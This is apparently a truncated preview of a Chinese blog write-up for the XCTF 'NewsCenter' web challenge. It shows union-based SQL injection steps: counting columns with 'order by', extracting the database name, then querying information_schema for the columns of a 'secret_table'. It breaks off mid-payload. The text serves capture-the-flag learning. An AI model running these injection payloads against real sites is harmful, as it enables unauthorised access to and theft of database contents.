攻防世界 web进阶 NewsCenter
看到这道题没什么头绪,扫完之后没有什么有用的信息
只有一个输入,试试sql
首先判断列,1’ order by 3# 有3列
首先去爆库
1’ union select 1,2,database()#
库是news,继续爆表
看到一个secret_table,爆他的列
1’ union select 1,2,column_name from information_schema.colum...
原创
2019-06-12 16:04:50 ·
1455 阅读 ·
0 评论